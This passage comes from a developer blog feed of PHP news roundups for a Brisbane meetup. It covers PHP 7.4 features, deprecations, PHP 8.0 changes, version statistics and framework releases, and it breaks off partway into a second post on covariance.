&lt;span class=&quot;c1&quot;&gt;// across Daylight Savigs Time transitions, because internally it actually stores the timezone&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// not the offset.&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$type3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'2011-09-13 14:15:16'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DateTimeZone&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'America/New_York'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// This is also correct because it uses `date_default_timezone` from php.ini&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$type3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'2011-09-13 14:15:16'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;escaping--in-pdo&quot;&gt;Escaping “?” in PDO&lt;/h4&gt;

&lt;p&gt;Some databases, namely PostgreSQL use the question mark character in operators. However it’s
currently impossible to use thes operators with PDO because all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; are treatedd as parameter
placeholder. &lt;a href=&quot;https://wiki.php.net/rfc/pdo_escape_placeholders&quot;&gt;This RFC&lt;/a&gt; makes it possible to
escape question marks by using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;??&lt;/code&gt;, which passes a single question mark to database:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$stmt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$pdo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SELECT * FROM tbl WHERE json_col ?? ?'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$stmt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'foo'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Will execute the following query:&lt;/p&gt;

&lt;div class=&quot;language-sql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FROM&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tbl&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;WHERE&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;json_col&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'foo'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;??&lt;/code&gt; is not valid syntax in PDO, there shouldn’t be any BC breaks. However, if you have
defined &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;??&lt;/code&gt; as a custom operator in your database, you will need to pass &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;????&lt;/code&gt; though PDO in order
to use it.&lt;/p&gt;

&lt;h4 id=&quot;spread-operator-in-array-expansion&quot;&gt;Spread operator in array expansion&lt;/h4&gt;

&lt;p&gt;For a while now, you’ve been able to use the spread operator (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;...&lt;/code&gt;) to unpack an array and pass
it’s values into a function:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'a'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'b'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'c'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Takes a variable number of string arguments&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$strings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Do something with the strings&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Pass each element in the array as a separate argument&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you can do that inside an array, as a better alternative to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array_merge&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$parts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'apple'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'pear'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$fruits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'banana'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'orange'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$parts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'watermelon'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ['banana', 'orange', 'apple', 'pear', 'watermelon'];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See &lt;a href=&quot;https://wiki.php.net/rfc/spread_operator_for_array&quot;&gt;the RFC&lt;/a&gt; for details.&lt;/p&gt;

&lt;h4 id=&quot;deprecations&quot;&gt;Deprecations&lt;/h4&gt;

&lt;p&gt;There has been a big list of deprecations in 7.4, allowing us to prepare for a lot of cruft being
removed in 8.0. In fact, there is &lt;a href=&quot;https://wiki.php.net/rfc/deprecations_php_7_4&quot;&gt;an RFC&lt;/a&gt; which
includes 14 separate deprecations, which were all passed. These were all relatively undocumented or
incorrect usage of functions, see the linked RFC for details.  However there are a few separate 
RFCs to deprecate specific functionalty, which I’ll list below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PHP short opening tags&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PHP 7.0 completely removed most of &lt;a href=&quot;https://wiki.php.net/rfc/remove_alternative_php_tags&quot;&gt;alternative PHP opening
tags&lt;/a&gt;, however, short opening tags (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;?&lt;/code&gt;) were
exempt. Now in 7.4 they will be deprecated and completely removed in 8.0 because they clash with 
XML opening tags and require an INI directive, making them non-portable. See &lt;a href=&quot;https://wiki.php.net/rfc/deprecate_php_short_tags&quot;&gt;the
RFC&lt;/a&gt; for more information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Nested ternaries without explicit parenthesis&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Have you even seen a ternary this ungoodly?&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'two'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'three'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'four'&lt;/span&gt;
               &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'other'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you have these in your codebase, they are “almost certainly bugs” according &lt;a href=&quot;https://wiki.php.net/rfc/ternary_associativity&quot;&gt;this
RFC&lt;/a&gt;. This is because in PHP this is
left-associative instead of right-associative like most other programming languages. Take a look at
the following example:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// How PHP interprets the above ternary&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(((&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'two'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'three'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'four'&lt;/span&gt;
               &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'other'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// How most other languages interpret it&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'one'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'two'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'three'&lt;/span&gt;
     &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'four'&lt;/span&gt;
               &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'other'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Array access curly brace syntax&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Apparently you can use curly braces to access elements within an array, or characters in a string.
This has been deprecated in 7.4 since it’s largely undocumented and has reduced functionality from
normal array syntax. Here’s some examples taken from 
&lt;a href=&quot;https://wiki.php.net/rfc/deprecate_curly_braces_array_access&quot;&gt;the RFC&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; 

&lt;span class=&quot;cm&quot;&gt;/*
 * You can use curly braces to access items in arrays or string
 */&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// prints 2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// also prints 2&lt;/span&gt;
 
&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// prints &quot;f&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// also prints &quot;f&quot;&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * You can NOT use curly braces to append to an array
 */&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// prints 3&lt;/span&gt;
 
&lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Parse error: syntax error, unexpected '}'&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * You can NOT use curly braces to create an array
 */&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// works&lt;/span&gt;
 
&lt;span class=&quot;nv&quot;&gt;$array&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Parse error: syntax error, unexpected '{''}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;php-80&quot;&gt;PHP 8.0&lt;/h2&gt;

&lt;p&gt;In my &lt;a href=&quot;/brisphp/whats-new-in-php-q2-2019&quot;&gt;Q2 post&lt;/a&gt; I covered most of the accepted
features for 8.0. I did mention that arrow functions were coming it 8.0, but they were actually
accepted for 7.4, so we get much sooner! There has also been one more accepted RFC for 8.0 and is to
&lt;a href=&quot;https://wiki.php.net/rfc/lsp_errors&quot;&gt;always generate fatal errors for incompatible method
signatures&lt;/a&gt;. Currently, if you implement a method that has an
incompatible method signature to the interface or abstract class it’s declared in, you get a fatal 
error. However, if the method was declared in a parent class and you’re overriding it, then you only
get a warning. These will all throw fatal errors as of 8.0.&lt;/p&gt;

&lt;h2 id=&quot;cool-stats&quot;&gt;Cool stats&lt;/h2&gt;

&lt;h3 id=&quot;php-versions-stats&quot;&gt;PHP versions stats&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://blog.packagist.com/php-versions-stats-2019-1-edition/&quot;&gt;May edition&lt;/a&gt; of PHP Versions
Stats has been released by Packagist. When someone does a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;composer install&lt;/code&gt;, Composer tells
packagist.org what PHP version is being run. This gives us a good understanding of what versions are
in use, but it skews the data by ignoring all the projects that aren’t using Composer (eg. a lot 
of WordPress sites).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-version-stats-2019-01.png&quot; alt=&quot;PHP version usage&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-versions-over-time-2019-01.png&quot; alt=&quot;PHP versions over time&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;framework-trends&quot;&gt;Framework trends&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://www.tomasvotruba.cz/php-framework-trends/&quot;&gt;Tomas Votruba&lt;/a&gt;
tracks trends in PHP framework installations by pulling data from the Packagist API.
It really is fascinating to see just how many downloads each framework gets.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/framework-trends-jul-2019.png&quot; alt=&quot;PHP framework trends&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;jetbrains-dev-ecosystem-survey&quot;&gt;JetBrains dev ecosystem survey&lt;/h3&gt;

&lt;p&gt;JetBrains ran a &lt;a href=&quot;https://www.jetbrains.com/lp/devecosystem-2019/php/&quot;&gt;developer ecosystem survey&lt;/a&gt; 
this year and they found some fascinating data about PHP:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;57% of respondents use a supported version of PHP (7.2 or 7.3)&lt;/li&gt;
  &lt;li&gt;Only 14% of respondents use 5.x&lt;/li&gt;
  &lt;li&gt;50% of respondents use Laravel while only 23% use Symfony (this is quite different to the
  framework trends shown above)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;frameworks&quot;&gt;Frameworks&lt;/h2&gt;

&lt;h3 id=&quot;reactphp&quot;&gt;ReactPHP&lt;/h3&gt;

&lt;p&gt;ReactPHP has &lt;a href=&quot;https://www.lueck.tv/2019/announcing-reactphp-lts&quot;&gt;release v1.0.0&lt;/a&gt; as an LTS version
with 24 months support. This is the first stable release of ReactPHP since it was created 7 years
ago.&lt;/p&gt;

&lt;h3 id=&quot;symfony&quot;&gt;Symfony&lt;/h3&gt;

&lt;p&gt;SymfonyCloud &lt;a href=&quot;https://symfony.com/blog/symfonycloud-from-early-access-to-general-availability&quot;&gt;moved from Early Access to General
Availability&lt;/a&gt;. This
provides a “batteries included” platform to host your Symfony applications.&lt;/p&gt;

&lt;h3 id=&quot;laravel&quot;&gt;Laravel&lt;/h3&gt;

&lt;p&gt;It’s been a big quarter for Laravel:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://laravel-news.com/laravel-v6-announcement&quot;&gt;Laravel v6 was released&lt;/a&gt;. This doesn’t include
  any paradigm shifting features, but instead moves Laravel to using SemVer which is amazing.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/@taylorotwell/introducing-laravel-nova-7df0c9f67273&quot;&gt;Laravel Nova was released&lt;/a&gt;.
  Nova allows you to create beautiful customised admin panels with minimum effort.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mattstauffer.com/blog/introducing-laravel-vapor/&quot;&gt;Laravel Vapor was released&lt;/a&gt; which
  provides a &lt;a href=&quot;https://divinglaravel.com/what-is-aws-lambda-and-how-laravel-vapor-uses-it&quot;&gt;serverless
  platform&lt;/a&gt; 
  to host your Laravel applications.&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><category term="brisphp" /><category term="brisphp" /><category term="php" /><category term="news" /><summary type="html">I co-organise the BrisPHP Meetup and at the start of every meetup I give a quick talk on recent news and other interesting things that have been happening in the PHP world. Recently, PHP 7.4 features have been finalised and development of PHP 8.0 continues.</summary></entry><entry><title type="html">What’s new in PHP land? - Q2 2019</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q2-2019" rel="alternate" type="text/html" title="What’s new in PHP land? - Q2 2019" /><published>2019-04-30T00:00:00+10:00</published><updated>2019-04-30T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q2-2019</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q2-2019">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
The biggest news recently is the development of PHP 7.4 and 8.0!&lt;/p&gt;

&lt;h2 id=&quot;language-news&quot;&gt;Language News&lt;/h2&gt;

&lt;p&gt;PHP 7.4 and 8.0 are both being &lt;a href=&quot;https://externals.io/message/103862&quot;&gt;developed in parallel&lt;/a&gt; with a
number of really great features already implemented.&lt;/p&gt;

&lt;h3 id=&quot;php-74-features&quot;&gt;PHP 7.4 Features&lt;/h3&gt;

&lt;p&gt;There is quite a lot of &lt;a href=&quot;https://wiki.php.net/rfc#php_74&quot;&gt;features going into PHP 7.4&lt;/a&gt;, some of them
I mentioned in my &lt;a href=&quot;/brisphp/whats-new-in-php-q1-2019&quot;&gt;last PHP news post&lt;/a&gt; but here
are some rew ones:&lt;/p&gt;

&lt;h4 id=&quot;covariance-and-contravariance&quot;&gt;Covariance and contravariance&lt;/h4&gt;

&lt;p&gt;Currently, PHP is missing some really core object-oriented behaviours:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Contravariance
    &lt;ul&gt;
      &lt;li&gt;replacing an object with it’s parent without breaking anything&lt;/li&gt;
      &lt;li&gt;widening type parameters&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Covariance
